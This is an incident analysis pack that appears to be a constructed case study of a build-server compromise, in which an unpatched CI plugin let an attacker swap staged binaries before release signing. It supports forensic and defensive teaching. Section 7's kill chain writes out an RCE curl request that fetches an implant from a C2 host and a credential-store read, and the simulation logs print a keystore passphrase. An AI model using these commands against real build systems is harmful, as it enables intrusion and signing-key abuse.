

SUP-01 — Anvil Systems

A software supply chain incident, reconstructed

How an unpatched build server turned Anvil's own release key against 400 of its customers, three banks and a stock exchange included — and why the company still cannot tell anyone which versions are safe to run.

Incident analysis pack · report + working prototype + attack simulation evidence

What's in this pack

This is one document, but it sits on top of a working replica of the thing that broke. The zip that comes with it contains a small Python prototype of Anvil's release pipeline — build server, distribution server, customer agent, attacker tooling — and a script that replays the whole incident against it in about a minute. Every claim in this report about mechanics (how the swap happened, why the signatures were valid, why the rebuild comparison proves nothing) can be re-run and checked. Sections 5 and 6 walk through that; the full transcript is in Appendix A.

- Sections 1–4 and 7–10: the analysis — what happened, which findings matter, the kill chain, and what to fix.
- Section 5: the prototype architecture and codebase.
- Section 6: the hack simulation, phase by phase, with output from the real run.
- Appendix A: the complete simulation transcript. Appendix B: how to run everything yourself.

1. The short version

Anvil Systems sells an observability agent. Customers install it on the machines they care about most — payment hosts, production databases, domain controllers — and it runs with root on all of them, because that is what collecting kernel and process telemetry requires. Between 2 March and 23 May 2027, three releases of that agent shipped with a backdoor baked inside. The backdoored binaries were signed with Anvil's real release key. Roughly 400 enterprises pulled them through the normal update channel. Nobody at Anvil noticed anything until two customers — a payments processor and, the next day, an unconnected second firm — reported strange outbound traffic on 14 and 15 June.

The way in was not clever. A plugin on Anvil's build server, BUILD-01, had a publicly disclosed remote code execution hole. The fix had been available since November 2026. The server sat on the internet, because external contributors' builds needed to report status back to the code host. Patching it was deprioritised, because patching interrupts releases. Six months of an unauthenticated RCE, aimed at the one machine that holds the company's signing key.

From there, the attacker barely had to work. The release job signs whatever files are sitting in the staging directory when the signing step runs. It never checks that those files are the ones the compile step just produced. So all the attacker's implant had to do was wait for a release build, swap the staged binaries for patched-up copies in the gap between compilation and signing, and let Anvil's own pipeline sign and publish the result. Two design decisions — trust the filesystem, keep the key on the same box — turned server compromise into fleet-wide root compromise without breaking a single cryptographic primitive.

Then there is the part that makes this case genuinely bleak. Anvil's builds are not reproducible: rebuild the same tag and the timestamps and host identifiers come out different. And no hash of any published artefact was ever recorded after publication. So when investigators compared a suspect binary against a fresh rebuild on 16 June, they could prove the two differed and nothing else. Which of the 61 agent versions running across the customer base are clean? Anvil cannot say. Not because the investigation is unfinished — because the information needed to finish it was never written down.

Notice what failed and what didn't. Hardware-key SSO, endpoint detection on staff devices, a bug bounty, an annual pentest: all real, all competently run, all scoped to Anvil's people and its product. The attacker went through none of them. They went through the machine that builds the product — an asset class no test covered, no monitor watched, and a 2025 risk review had already flagged and then waved past with a compensating control that was false the day it was agreed.

2. The system as it was

Two product properties shape everything. The agent runs as root, and it runs on the hosts customers value most. Anything that can put code into an agent release therefore starts with root on a bank's payment network. Keep that in mind while looking at the diagram.

grey arrows = normal flow of a release red = what the attacker did



One job on BUILD-01 does everything (finding F8). It checks out a release tag, compiles for six platforms, runs the test suite, writes the artefacts into a staging directory, signs each artefact, and publishes the signed files plus a manifest to the distribution server. Customers' agents poll every four hours, download the manifest over HTTPS, and install anything newer, checking the artefact signature against a public key embedded in the agent binary.

Strip away the infrastructure and there is exactly one trust decision in this system: the agent believes any file that carries a valid signature from Anvil's release key. That is the whole chain between Anvil and root on 400 enterprise fleets. Two facts decide how easy that trust is to abuse. First, the signing step signs whatever is in staging at that moment (F9) — it is a filesystem operation, not a build-verification step. Second, the release key lives in a software keystore on the same server, unlocked at job start by a passphrase stored in the CI tool's own credential store (F10). Break into the build server and the signing ceremony runs for you, on your files, with nobody downstream able to tell the difference. The signature verification on the customer side works perfectly. It is verifying the wrong thing.

3. Findings triage — signal, suspicion and noise

[C] CORE — does real work in the attack chain. Cited by the kill chain.

SUP-01 Anvil Systems — incident analysis

[D] NOISE — true, and not load-bearing. Background facts that invite the wrong hunt.

Two subtleties before the tables. A negative fact can be core: F7 (nothing odd in the console logs) is a finding that does the work of proving the tampering happened outside the pipeline. And an elimination can be core: F19 (the source is clean) is what forces the conclusion that the attack happened at build time, not in the repository. Neither reads like a smoking gun. Both are load-bearing.

3.1 [C] — core findings (19)

ID	Finding	Role	Why it is core
F1	Plugin RCE on BUILD-01, disclosed Nov 2026, never patched	Entry	This is the break-in itself. Unauthenticated remote code execution is the attacker's entire initial foothold; nothing downstream exists without it.
F2	BUILD-01 web interface reachable from the internet	Exposure	Turns F1 into a remote attack from anywhere. Also quietly falsifies the compensating control agreed in 2025 (see F30) — the exposure and the non-patching share the same stated reason.
F3	BUILD-01 OS logs: 14 days, rotated, never forwarded	Stealth / gap	Why the intrusion left no trace worth reading. By June only 3–17 June survived, so how and when the attacker arrived is unrecoverable. Enables the cover-up by omission.
F4	No endpoint detection on BUILD-01 (servers not covered)	Stealth	The tamper implant ran as an ordinary process on that host for months. No EDR means no process record of the swap itself. The fleet was watched; the one machine that mattered wasn't.
F5	CI job history: 214 release runs, 730-day retention	Substrate	The baseline that makes F6 stable at all. Quietly one of the most useful records in the case — it survived and it holds the fingerprint.
F6	Three jobs ran 52 / 49 / 54 min against a 31–38 min baseline	Fingerprint	The attack's only pipeline-level trace. Fifteen to twenty-three minutes of extra wall clock on exactly three release builds is the signature of out-of-band work happening during the job.
F7	Those three consoles are structurally identical to the rest	Deduction	An unusually powerful negative. Same steps, no errors, no extra phase — which proves the tampering was not a pipeline step. It happened on the host, in the gap the job cannot see. Narrows the mechanism to a staging swap or key misuse almost immediately.
F8	Job order: checkout → compile → test → stage → sign → publish	Mechanism	Defines the vulnerable window. Files change hands through a plain directory with a time gap and no integrity check between producer and signer.
F9	Signing step signs whatever is in staging at that moment	Core vuln	The single decision that converts 'attacker has code execution' into 'attacker has Anvil's signature on arbitrary code'. CWE-367 territory: the check (compile) and the use (sign) are separated by an unguarded gap.
F10	Release key in a software keystore on BUILD-01, auto-unlocked, unrotated since 2022	Mechanism	No HSM, no separation between build host and key custody, passphrase in the CI tool's own store. The attacker could sign in place — or exfiltrate the key and sign from anywhere. Five years without rotation widened every one of these windows.
F11	Recovered malicious binaries carry VALID Anvil signatures	Proof	The proof that F9 and F10 were used as theorised. The customer-side verification worked exactly as designed and passed the malware. This finding is what turns the incident from 'someone shipped a bad build' into 'the trust model itself was weaponised'.
F13	Builds are not reproducible (timestamp + host id embedded)	Consequence	Makes 'which binary did we actually publish?' unanswerable after the fact. The 16 June comparison could establish a difference and nothing more.
F14	No hash of any published artefact retained after publication	Consequence	The one cheap control whose absence now blocks customer remediation. A single line in a log per release would have scoped this incident in an afternoon. CWE-345 territory at the process level.
F19	No malicious code in any commit; the flagged commit is clean	Elimination	Does the work of killing the source-compromise theory. Public source and 240 external contributors saw nothing because there was nothing to see — the malware never entered the repository. Forces the tampering into the build window between checkout and signature.
F25	Reporting customers run agents 4.11.2 and 4.13.0	Correlation	Matches two of the three duration-outlier releases exactly. Independent confirmation from outside the company that the anomalous builds are the compromised ones.
F26	The three long jobs are releases 4.11.2, 4.12.1 and 4.13.0	Correlation	The pivot of the whole scoping effort. Turns an abstract duration anomaly into named, shippable version numbers — the only hard list of suspects Anvil has.

ID	Finding	Role	Why it is core
F30	BUILD-01 flagged as a patching gap in 2025; risk accepted for release continuity	Root cause	The 'why'. Patching was skipped because it interrupts releases and contributors' builds — the same reason the box is internet-facing. The agreed compensating control, 'only engineering staff can reach it', was already false on the day it was written (F2). A risk acceptance whose mitigation contradicts its own rationale.
F31	C2 domain registered 18 Feb 2027, twelve days before the first bad build	Attacker planning	Infrastructure staged before the pipeline was touched. Planned campaign, not an opportunistic stumble. Also anchors the timeline: the attacker was organised by mid-February at the latest.
F32	Anvil cannot tell customers which versions are affected	Consequence	The operational punchline, and a direct product of F13 + F14. Not an investigative failure — a records failure. This is the sentence the three banks and the stock exchange will care about most.

3.2 [S] — suspicious looking, not the vector (5)

ID	Finding	What it tempts you to think	Why it is only suspect
F16	Tag v4.11.2 created 2 Mar and moved 40 minutes later; tags unprotected	Textbook release tampering. Tag moved on the exact day of the first bad build.	Investigated and cleared: the target commit is clean (F19) and descendant of its predecessor. The attacker never touched the repo — they didn't need to. Still a real hygiene gap: unprotected, movable tags should not exist on a signing pipeline.
F17	The commit came from a real engineer's account via PR	Compromised or coerced insider — the account is the attack surface.	F20 shows no anomalous authentication anywhere, hardware keys enforced throughout; F19 shows the code is clean. The mundane reading holds: an engineer amended a small fix and moved the tag to include it, forty minutes before the release build. Ordinary engineering activity, unlucky timing.
F18	Two approving reviews within nine minutes	Rubber-stamp approvals — a fake review gate, possibly attacker-influenced.	Nine-minute reviews on a 31-line fix are lax but common, and the change they approved is exactly what it claims to be. Weak process, not the crime. Worth fixing on its own merits (F18 is how a real source attack would have walked in), but it carried no malicious payload here.
F12	Manifest not signed — HTTPS only	The obvious second attack surface: swap hashes and versions at distribution time.	Nothing in the case shows the manifest was touched. The attackers were already riding a valid signature — the back door that was open was enough. Latent weakness, not a used one: a compromised manifest would also have been unverifiable afterwards, which compounds F14.
F27	Commits not required to be signed	Unsigned commits plus a moved tag equals fabricated history.	Same story as F16–F18: it would have deepened the ambiguity of that day, and the ambiguity resolved clean. Keep it in the fix list so the next tag-move incident cannot look this scary.

3.3 [D] — noise and distractors (8)

ID	Finding	Why it looks relevant	Why it is noise
F15	Code-host audit log: 180 days, covers pushes, PRs, tag events	It is the source of the alarming tag-move entries (F16) — feels like part of the crime scene.	Retention mechanics. The audit log's contents are already evaluated in F16–F19; the retention number itself does no work. Classic filler that makes the finding list look denser than it is.
F20	No anomalous staff authentications; hardware keys enforced	Invites a hunt for stolen credentials, session tokens, a coerced sysadmin.	A negative finding pointing at a corridor the attacker never walked. Valuable once — as elimination (it clears F17) — and then nothing. The whole point is that Anvil's identity hardening was real and irrelevant: the attacker needed zero human identities. Treating F20 as 'all clear, inside job unlikely' beyond that one deduction is the trap.
F21	400 customers running 61 distinct agent versions	Estate statistics next to breach numbers feel like evidence of scope.	Impact colour. It tells you the blast radius is heterogeneous; it identifies no attack step and traces no artefact. The investigation already has its version suspects from F26.
F22	No forced updates; no record of which version customers should run	Explains how the bad versions spread so far, so quietly.	An aggravating factor after the fact, not a clue to how the breach happened. The spread mechanism (four-hourly auto-update) is normal product behaviour doing normal things. It raises the cost of the incident; it did not cause or evidence it.

ID	Finding	Why it looks relevant	Why it is noise
F23	Distribution access log: downloads of every version published, 90 days	Could plausibly show who downloaded what — a scoping tool.	Everyone downloads every release; the log is uniform by design. It records no hashes (see F24's cousin) and by June its window pre-dates nothing useful. There is no anomaly in it because there never is.
F24	CDN log: 30 days, cache hit or miss and path only	The delivery layer touched every download — surely it saw something.	Cache telemetry without hashes cannot distinguish a clean artefact from a poisoned one. It is noise in both directions: no evidence of the attack and no evidence against it.
F28	2026 pentest scope: 'the analysis platform and its public web properties'	Scope gaps in a pentest read like a cover-up or a clue.	Organisational context. It explains why nobody outside Anvil ever examined the build chain — an assurance gap, not an attack step. Belongs in the lessons-learned chapter, not the evidence file.
F29	Bug bounty excludes 'internal engineering infrastructure'	Same instinct: the exclusion is where the body is buried.	Same verdict as F28. The bounty ran on the product and the website while the signing infrastructure sat outside anyone's mandate. Worth changing tomorrow; proves nothing about March.

Read together, the three buckets tell you where to look and, more usefully, where not to. The tag move (F16–F18) is the most seductive distractor in the set — release day, unprotected tag, nine-minute reviews — and it resolves to innocent engineering activity that shares a calendar with the attack. Meanwhile the finding that actually names the crime is a boring duration statistic in a job log. That inversion is the analytical lesson of this case: the loud finding was noise, and the quiet one was everything.

4. What happened, how, and why

4.1 The story in order

November 2026: the advisory drops. A build-server plugin Anvil runs has an unauthenticated remote code execution flaw; a fixed version ships the same week. Anvil does not patch — the box is load-bearing, patching interrupts releases and external contributors' builds, and the 2025 risk discussion had already decided that acceptable. The compensating control from that discussion — only engineering staff can reach it — was never true. The web interface has been on the internet all along, for exactly the contributor-status reason that makes patching inconvenient (F1, F2, F30).

18 February 2027: the attacker registers `cdn-sync-eu.net` (F31). Twelve days of margin before the first bad build. Late February: recon shows the dashboard world-readable and the plugin helper willing to evaluate code with no authentication at all. Two requests and the attacker has a process on BUILD-01: one to fetch a small tamper daemon from their own server, one to launch it detached. No EDR on the box (F4). Local logs that will rotate away within a fortnight (F3). Nothing is watching.

The daemon does one thing well: it waits for a release job's staging directory to fill, pauses the job process, injects a beacon implant into every staged artefact, and resumes the job. That pause is worth dwelling on, because it is the whole of finding F6. Rebuilding six backdoored platform variants is not instant work. Each tampered release job runs fifteen to twenty-three minutes longer than its baseline — 2 March, 11 April, 23 May — while its console log looks perfectly normal (F7), because the daemon is a process on the host, not a step in the job.

What happens next is the part worth being angry about. The job resumes into its signing step. The signing step loads the release key from a software keystore on this very server, unlocked with a passphrase from the CI tool's credential store (F10), and signs whatever files are in staging (F9). It does not ask where they came from. Anvil's own infrastructure signs the attacker's binaries with Anvil's real key (F11) and publishes them through the normal channel (F8). The daemon did not defeat the signature scheme. It got the signature scheme applied to its files.

Distribution needs no help. Four-hourly update checks pull 4.11.2 in early March, 4.12.1 in April, 4.13.0 in late May (F22). The fleet is heterogeneous — 61 versions across 400 customers (F21) — so infections accumulate at whatever pace each customer's change management allows. The implant beacons every 47 hours to `cdn-sync-eu.net` with small encrypted payloads (F25). On the agent-owning hosts this is root-level code doing whatever it likes, on payment servers and domain controllers, for months.

14 June: Meridian Payments' egress monitoring flags outbound connections to a domain nobody recognises. 15 June: a second, unconnected customer reports the identical pattern. Anvil's first instinct — misconfiguration — does not survive the second call. 16 June: Anvil compares an affected host's binary with a fresh rebuild of the same version. They differ; the suspect binary carries a valid Anvil signature (F11); and there the comparison ends, because no hash of the published artefact was ever kept (F14) and the rebuild could never match byte-for-byte anyway (F13). Advisory on 17 June. External investigators. This report.

4.2 The vulnerability, stated precisely

People call this a supply chain attack and move on. The mechanism is narrower and more useful than that label. It is a time-of-check to time-of-use failure (CWE-367) sitting on top of insufficient verification of data authenticity (CWE-345). The compile step produces files. Time passes. The signing step consumes files from a shared directory with no proof that they are the same files. In a healthy pipeline those two steps are bound together by hashes or by an artefact store with immutability guarantees. Here they are bound together by a filesystem path and good manners.

Layer	Weakness	Classification
Initial access	Unauthenticated RCE in a CI plugin (eval-class helper endpoint), unpatched six months after the fix shipped	CWE-306 / CWE-94 class; MITRE T1195.002 (supply chain compromise), T1059
Build integrity	Signing step signs whatever is in staging; no check that signed files are the compiled output	CWE-367 (TOCTOU) + CWE-345 (insufficient verification of data authenticity)
Key custody	Release key in a software keystore on the build host, auto-unlocked at job start, passphrase in the CI credential store, unrotated since 2022	Key management failure (CWE-522-class credential exposure); no HSM boundary
Distribution	Manifest (names, versions, hashes) unsigned; integrity rests on transport only	CWE-353 (missing support for integrity check) — latent here (F12)
Forensics	Non-reproducible builds (embedded timestamp + host id); no published hash record	CWE-345 at process level; makes retrospective scoping impossible (F32)

4.3 Why it happened

Three organisational habits set this up, and none of them is exotic. First, availability outranked security on a piece of critical infrastructure: BUILD-01 stayed unpatched because releases must flow (F30). Fine — except the compensating control chosen instead was untrue on arrival, and everyone carried on. Second, security investment followed the org chart: identities and staff endpoints got hardware keys and EDR; servers got nothing (F4). The attacker used neither identity nor endpoint — they used the one host in the gap between the two programmes. Third, assurance scope was drawn around the product rather than the pipeline: the pentest covers 'the analysis platform and its public web properties' (F28), the bounty excludes 'internal engineering infrastructure' (F29). The asset that vouches for every binary Anvil ever shipped has never in its life been tested by anyone whose job description isn't also on the hook for shipping the release.

Add the records habits — no reproducible builds, no hash ledger (F13, F14) — and the outcome stops being surprising. A company that cannot prove what it published will one day be unable to prove what it published.

5. The prototype: a working model of the pipeline

The replica is deliberately small — under a thousand lines of Python — but the flow is the real one. The release job runs the six steps from F8 in order. Signing is real Ed25519 over the real artefact bytes with a real encrypted keystore and a passphrase in a credential store. The services talk over actual HTTP sockets. The tamper daemon is a separate process that signals the job process (SIGSTOP / SIGCONT) exactly as malware on a host would. The only fictions are time (one real second of pipeline work counts as six minutes of job duration) and lab DNS (cdn-sync-eu.net resolves to the local C2 listener so nothing touches the real internet).

Component	What it models	Findings it exercises
prototype/build_server/ci_job.py	The release job: checkout → compile ×6 → test → stage → sign → publish. Signs whatever is in staging; embeds timestamp and host id in every artefact.	F5–F9, F13
prototype/build_server/build_server.py	BUILD-01's web dashboard and — in the plugin route — an unauthenticated server-side eval endpoint. The job trigger, the console log, the job history.	F1, F2, F5, F7
prototype/build_server/keystore/ + credential_store.json	Software keystore holding the release key, encrypted with a passphrase the CI credential store hands over at job start.	F10
prototype/build_server/repo/ + audit_log.jsonl	The source repo: tags (one of them moved, 40 minutes after creation), commits, the PR in F18, and the audit trail that records it all.	F15–F19
prototype/dist_server/dist_server.py	Distribution server: rolling unsigned manifest, artefacts and signatures, access log. Older manifests are overwritten, not kept.	F12, F14, F23
prototype/agent/agent.py + embedded pubkey	Customer host with an agent that polls for updates, verifies the signature against its embedded key, installs and runs as the service would.	F11, F21, F22, F25
prototype/attacker/tamper_daemon.py	The implant: watches staging, freezes the job, injects the beacon into every staged artefact, resumes the job. Runs out-of-band, so no console line ever mentions it.	F6, F7, F9
prototype/attacker/attacker.py	The kill chain in code: recon through the plugin helper, payload fetch from C2, detached launch, keystore credential read.	F1, F2, F10, F31
prototype/c2_server.py	Attacker C2: serves payload files, logs beacons with small encrypted bodies.	F25, F31
prototype/run_simulation.py	The conductor: replays all ten phases in order and writes the evidence bundle to simulation-output/.	all

5.1 How to run it

```
cd prototype
python3 run_simulation.py      # ~65 seconds, writes ../simulation-output/
```

No dependencies beyond Python 3.10+ and the `cryptography` package. Services can also be run standalone (each server file has a `__main__`), and every kill-chain step in Section 7 lists the curl command that performs it against the running lab.

6. The hack simulation, phase by phase

What follows is the real output of the run this report was written against, condensed phase by phase. The full transcript is Appendix A; the evidence bundle it produced (job history, diff, beacons, forensics verdict) ships in the zip. Phase headings carry the case timeline; the timestamps inside log lines carry the lab clock.

Phase 1 — normal operations (Jan–Feb 2027)

```
[ci] job release-4.11.0 result=SUCCESS duration=34.0 min
[ci] job release-4.11.1 result=SUCCESS duration=33.9 min
[pay-01] signature valid -- installed 4.11.1
[bank-01] signature valid -- installed 4.11.1
```

Baseline established: clean release jobs cluster at 34 minutes, and the customer update flow — manifest check, signature verification, install — works exactly as designed. Three fleet profiles stand in for the version spread in F21: a payments host that will freeze after March, a bank that auto-updates, a telco pinned behind an internal mirror.

Phase 2–3 — infrastructure and break-in (18 and 26 Feb 2027)

```
[attacker] registered cdn-sync-eu.net on 18 Feb 2027 (F31)
[attacker] found automation dashboard, world reachable (F2)
[attacker] plugin helper evaluates expressions unauthenticated (F1)
[attacker] RCE via /plugin/build-tools/eval -- implant downloaded (build-tools helper ok)
[attacker] implant launched as detached process on BUILD-01
[attacker] credential store readable via RCE (F10): '{"release_key_passphrase": "anvil-release-2022"}'...
```

The domain is registered twelve days before the first bad build (F31). The break-in itself is two HTTP requests to the plugin helper. Note the third block: with the same RCE the attacker reads the keystore passphrase out of the credential store. The key was exfiltratable from minute one. The attacker never needed to — better still for them, the pipeline would sign in place (F10).

Phase 4 — the red herring, on the record (2 Mar 2027)

```
[audit-log] 11:05:00 tag_create    v4.11.2
[audit-log] 11:31:00 push          refs/heads/main
[audit-log] 11:45:00 tag_move      v4.11.2  tags are not protected and may be moved (F16)
[reviewer] PR #2841 'fix: handle empty config section on startup' -- 31 lines, 2 files, 2 approvals in 9 min (F18)
[analyst] the tag move looks like tampering. Source is clean -- this is a dead end, not the vector (F16-F19).
```

Reproduced here so you can see why investigators spent real hours on it. Tag moved 40 minutes after creation, on the morning of the first tampered build. The source review clears it (F19) and the SSO logs clear the account (F20) — but as theatre, it is first class.

Phase 5–7 — three tampered releases (2 Mar, 11 Apr, 23 May 2027)

```
[tamper] SIGSTOP job pid=1789 for 4.11.2
[tamper] building implant payload (3.0s of work)...
[tamper] injected implant into 6 staged artefacts
[tamper] SIGCONT job pid=1789; signing step will now sign our files
[ci] job release-4.11.2 result=SUCCESS duration=52.0 min  <-- duration outlier (F6)
[ci] job release-4.12.1 result=SUCCESS duration=49.6 min  <-- duration outlier (F6)
[ci] job release-4.13.0 result=SUCCESS duration=54.2 min  <-- duration outlier (F6)
[pay-01] signature valid -- installed 4.11.2
[bank-01] signature valid -- installed 4.13.0
[telco-01] update policy ('pin', '4.11.1') declines 4.13.0, stays on 4.11.1
```

Durations land on 52.0 / 49.6 / 54.2 minutes against a 33.9–34.0 minute baseline — the F6 fingerprint (52 / 49 / 54 in the case file) reproduced almost exactly, with 23 identical console steps in every log (F7). And look at the agent verdicts: signature verification passes on the malicious binaries (F11), the payments host freezes on 4.11.2, the bank rides 4.12.1 to 4.13.0, the telco behind its mirror is never touched. The two hosts that end up infected are running exactly the versions the real customers reported (F25).

Phase 8–9 — persistence and detection (June 2027)

```
[c2] 24 beacons received so far, small encrypted payloads, 47h cadence (F25)
[Meridian Payments] EGRESS MONITOR: 12 connections to unrecognised host(s)
[Meridian Payments]  cdn-sync-eu.net:443 | 32 bytes | tls | update telemetry
[Meridian Payments]  running agent version 4.11.2 (F25)
[Sahyadri Bank] EGRESS MONITOR: 12 connections to unrecognised host(s)
[anvil-soc] 2 customers reported on 14 and 15 June, unconnected to each other
```

Detection happens where the real case put it: outside Anvil, in a customer's egress monitoring. The beacons are small and encrypted, and the agent's egress log has been laundering their destination as 'update telemetry' the whole time. Allowlist the domains your software is allowed to talk to and this class of beacon stands out immediately — which is exactly what Meridian's engineers did.

Phase 10 — the investigation hits the wall (16–19 Jun 2027)

```
[forensics] Meridian Payments binary v4.11.2: signature valid? True  (F11)
[forensics] fresh rebuild of v4.11.2 (host fw-analyst-02): sha256=5a9056231c6b0708...
[forensics] customer binary (host pay-01):          sha256=077679a1defe82f5...
[forensics] hashes match? False -- builds embed timestamp + host id (F13)
[forensics] published hash record lookup: 0 entries kept after publication (F14)
[forensics] manifest currently lists version 4.13.0 -- rolling file, unsigned (F12/F14)
[forensics] diff rebuild vs customer binary: 25 changed lines -- implant block visible
[forensics] 2027-03-02 4.11.2 52.0 min (F26)
[forensics] 2027-04-11 4.12.1 49.6 min (F26)
[forensics] 2027-05-23 4.13.0 54.2 min (F26)
[forensics] VERDICT: known-bad = 4.11.2, 4.13.0. presumptive bad = 4.12.1.
[forensics] which versions are safe? CANNOT SAY (F32).
```

This phase is the reason F13 and F14 are core findings and not paperwork. The diff shows the implant plainly — the recovered binaries are obviously backdoored — but the rebuild hashes differ as a matter of course, the hash ledger is

empty, and the manifest has already rolled forward to 4.13.0. So the investigation can name the three suspicious releases (F6, F26) and prove nothing about any other version in the field. The one box in the transcript that says CANNOT SAY is the real verdict Anvil had to give three banks.

7. Kill chain

Ten steps, in the order the attacker took them. Each one names the step, the tools it would take in the real world, and the findings that prove it happened. The step numbers map onto the red arrows in Figure 1 and the phases in Section 6.

Step 1 — Internet-exposed CI server with an unpatched RCE plugin

Command or tool: browser / Shodan / nmap; curl "http://build-01:8080/plugin/build-tools/eval?expr=1%2B1"

Details: Recon finds BUILD-01's automation dashboard world-readable (F2) and a plugin helper that evaluates server-side expressions with no authentication (F1). The fix has been public since November 2026; the gap itself was accepted at a 2025 risk review for release continuity, with a compensating control ('only engineering staff can reach it') that F2 proves was never true (F30). No EDR covers the box (F4) and local logs keep 14 days (F3), so nothing is positioned to see the next step. Prototype proof: Phase 3.

Step 2 — C2 domain registered twelve days before the first bad build

Command or tool: registrar account; whois cdn-sync-eu.net

Details: Infrastructure first (F31). cdn-sync-eu.net is created on 18 February 2027 and not used until March — the signature of a planned campaign with staging time, not a smash-and-grab. Prototype proof: Phase 2 writes the whois record and stages the tamper payload on the C2 host, ready for retrieval.

Step 3 — Unauthenticated RCE via the plugin helper; tamper implant deployed

Command or tool: curl "http://build-01:8080/plugin/build-tools/eval?expr=open('/tmp/tamper_daemon.py', 'w').write(...urlopen(C2)...)" then the same endpoint to launch it detached

Details: Two HTTP requests (F1, F2): one downloads tamper_daemon.py from the C2 box, one starts it as a detached process. From this moment the attacker has persistent code execution on the build host, hidden by the absence of endpoint detection (F4) and by log rotation that will erase the arrival within 14 days (F3). Prototype proof: Phase 3, attacker.py step_exploit().

Step 4 — Pipeline and key mapped from the inside

Command or tool: same RCE channel — e.g. expr=open('credential_store.json').read()

Details: The attacker reads the release job definition and discovers three things (F8, F9): files pass through a staging directory with a time gap before signing, and the signing step trusts whatever is there. Then the credential store hands over the keystore passphrase (F10), which proves the release key is usable in place and portable if copied. The elegant part: stealing the key turns out to be optional. The pipeline will sign for the attacker, with better alibis. Prototype proof: Phase 3, step_loot_keystore().

Step 5 — Out-of-band tamper daemon waits for the release window

Command or tool: — (custom implant; prototype: tamper_daemon.py)

Details: The implant lives outside the CI job — an ordinary process on the host — so the job's console log never records it (F7). It watches the staging directory for each completed staging cycle and only acts on the chosen releases (4.11.2, 4.12.1, 4.13.0). Quiet persistence, positioned in the exact gap between compile and sign that F8 defines and F9 fails to guard.

Step 6 — Staging swap between compile and sign — three releases tampered

Command or tool: — (implant: SIGSTOP the job, rewrite staged artefacts, SIGCONT)

Details: On 2 March, 11 April and 23 May the implant freezes the job process, rebuilds the six staged artefacts with the beacon injected, and resumes the job (F8, F9). The freeze is what makes those three jobs run 52 / 49 / 54 minutes instead of 31–38 (F6) while their consoles stay structurally identical to 211 clean runs (F7). The duration anomaly is the entire pipeline-level footprint of the attack — three numbers in a job log nobody was alerting on. Prototype proof: Phases 5–7 reproduce the freeze and land on 52.0 / 49.6 / 54.2 minutes.

Step 7 — Anvil's own pipeline signs the attacker's binaries

Command or tool: – (none. The victim's release job does it.)

Details: The signing step resumes and signs whatever is in staging (F9), using the release key unlocked from the software keystore on the same host (F10). Output: artefacts carrying a valid Anvil signature (F11), produced by a clean-looking job (F7). This step needs no attacker tooling at all — which is precisely the design failure. Cryptography worked; it was aimed at the attacker's files.

Step 8 — Malicious releases published through the normal distribution path

Command or tool: – (none; standard publish step)

Details: Signed artefacts and the manifest ship through the usual channel (F8 step 6). The manifest is unsigned and mutable but was not itself attacked here — a standing gap (F12) rather than a used one. Distribution access logs show ordinary downloads of ordinary-looking files (F23), and no hash of what was published is retained anywhere (F14), so the historical record closes behind the release like water.

Step 9 — Auto-update delivers root implants; 47-hour beacons begin

Command or tool: – (victim-side updater; C2 receives POSTs at /beacon)

Details: Four-hour update checks spread the three releases through a 61-version fleet (F21, F22). Each installed implant beacons every 47 hours to cdn-sync-eu.net with small encrypted payloads (F25) — a domain registered before any of it existed (F31). The two hosts that reported the pattern run 4.11.2 and 4.13.0, matching the anomalous builds in F26 and corroborating the whole chain from outside Anvil's own telemetry. Prototype proof: Phase 8–9, including the customer egress review that caught it.

Step 10 — Scoping denied by records that were never kept

Command or tool: – (structural; no tooling needed)

Details: The final step is free for the attacker and expensive for Anvil. Rebuild comparison fails because builds embed timestamps and host ids (F13); the hash ledger that would have settled it does not exist (F14); the manifest has rolled forward and is unsigned anyway (F12). Result: F32 — Anvil cannot tell its customers which versions are affected. The attacker never needed to cover their tracks. Anvil's engineering decisions had already salted the ground. Prototype proof: Phase 10 ends on CANNOT SAY.

Red herring lane, for completeness: on the morning of the first tampered build, tag v4.11.2 is created and moved 40 minutes later to a two-file fix reviewed in nine minutes (F16–F18). It looks like steps 1–3 of a classic repository attack and is none of it — F19 and F20 clear the code and the account. No kill-chain step runs through the repository at all, which is worth stating plainly in the incident report so the lawyers don't chase it.

8. Red herrings, up close

The tag that moved (F16–F18)

Spend a morning as the investigator on 17 June and you would bet real money on this one. Release tag created at 11:05. Moved at 11:45 to a different commit. The commit comes from an engineer's account, in a pull request with two approvals granted in nine minutes. The release build starts at 11:58 and ships the compromised binary. If that chain of timestamps isn't an attack, it is doing a very good impression of one.

It is still a dead end, and being able to say so convincingly is part of the job. The commit is a descendant of the one before it and does exactly what its title claims — 31 lines across two files, empty config sections handled (F19). No

malicious code exists anywhere in the repository history. The SSO logs show no anomalous authentication for any staff account in the retained window (F20). The mundane story — an engineer amended a fix, moved the tag to include the amendment, reviewers waved through a two-line-class change — fits every piece of evidence, and the attacker's actual work left traces somewhere else entirely (F6, F7). The tag move and the attack share a calendar and nothing else.

What to keep from it: the process weaknesses are real even though this instance is clean. Unprotected tags and nine-minute reviews are how a real repository attack would walk in. Fix them so that next time a tag moves on release day, the logs can prove innocence in minutes instead of days.

The clean SSO log (F20) and the other quiet facts

F20 is in the finding set in the same spirit as a locked door in a detective story: it is true, it eliminates the butler, and then it keeps trying to distract you. Hardware keys on every account is genuinely good security — and the attacker needed zero human identities. They had code execution on a server that had never heard of the SSO programme. The finding's only job in the analysis is to close the insider/credential theories that F17 opens. Once closed, walk away from it.

The rest of the noise works by adjacency: log retention numbers (F15) sitting next to the tag events that matter, fleet statistics (F21, F22) next to version numbers that matter, delivery logs (F23, F24) with no anomalies because the design hid them, and scope statements (F28, F29) that read like conspiracy and mean only that build infrastructure was never anyone's mandate. Each is true. None of them changes a single step of the kill chain. Bucketing them isn't about tidiness — it is about keeping the investigation's hours spent on the three long jobs in a log file, which is where the answers were.

9. What stays unknown

Some questions this investigation cannot close, and the honest report says so:

Open question	Why it cannot be closed	Findings
How and when did the attacker first get in?	Everything before 3 June 2027 has rotated out of the only host logs that existed. The RCE was open from November; the first confirmed tampered build is 2 March. Four months of dwell-time room, zero visibility.	F3, F4
Was 4.12.1 actually compromised?	It carries the identical duration signature as the two confirmed releases, but no customer sample has been recovered. It stays presumptive bad until proven otherwise — and proving otherwise is exactly what F13/F14 make impossible.	F6, F26
Are the other 211 builds clean?	Normal durations and clean consoles are good evidence but not proof; a faster tamper would look the same in F5's data. Without a hash ledger there is no way to bind any published artefact to its source build.	F13, F14, F32
What else happened on BUILD-01?	No EDR, 14-day local logs. A second implant, quieter than the first, cannot be ruled out in or out. Rebuild the host from scratch and treat it as untrusted forever.	F3, F4
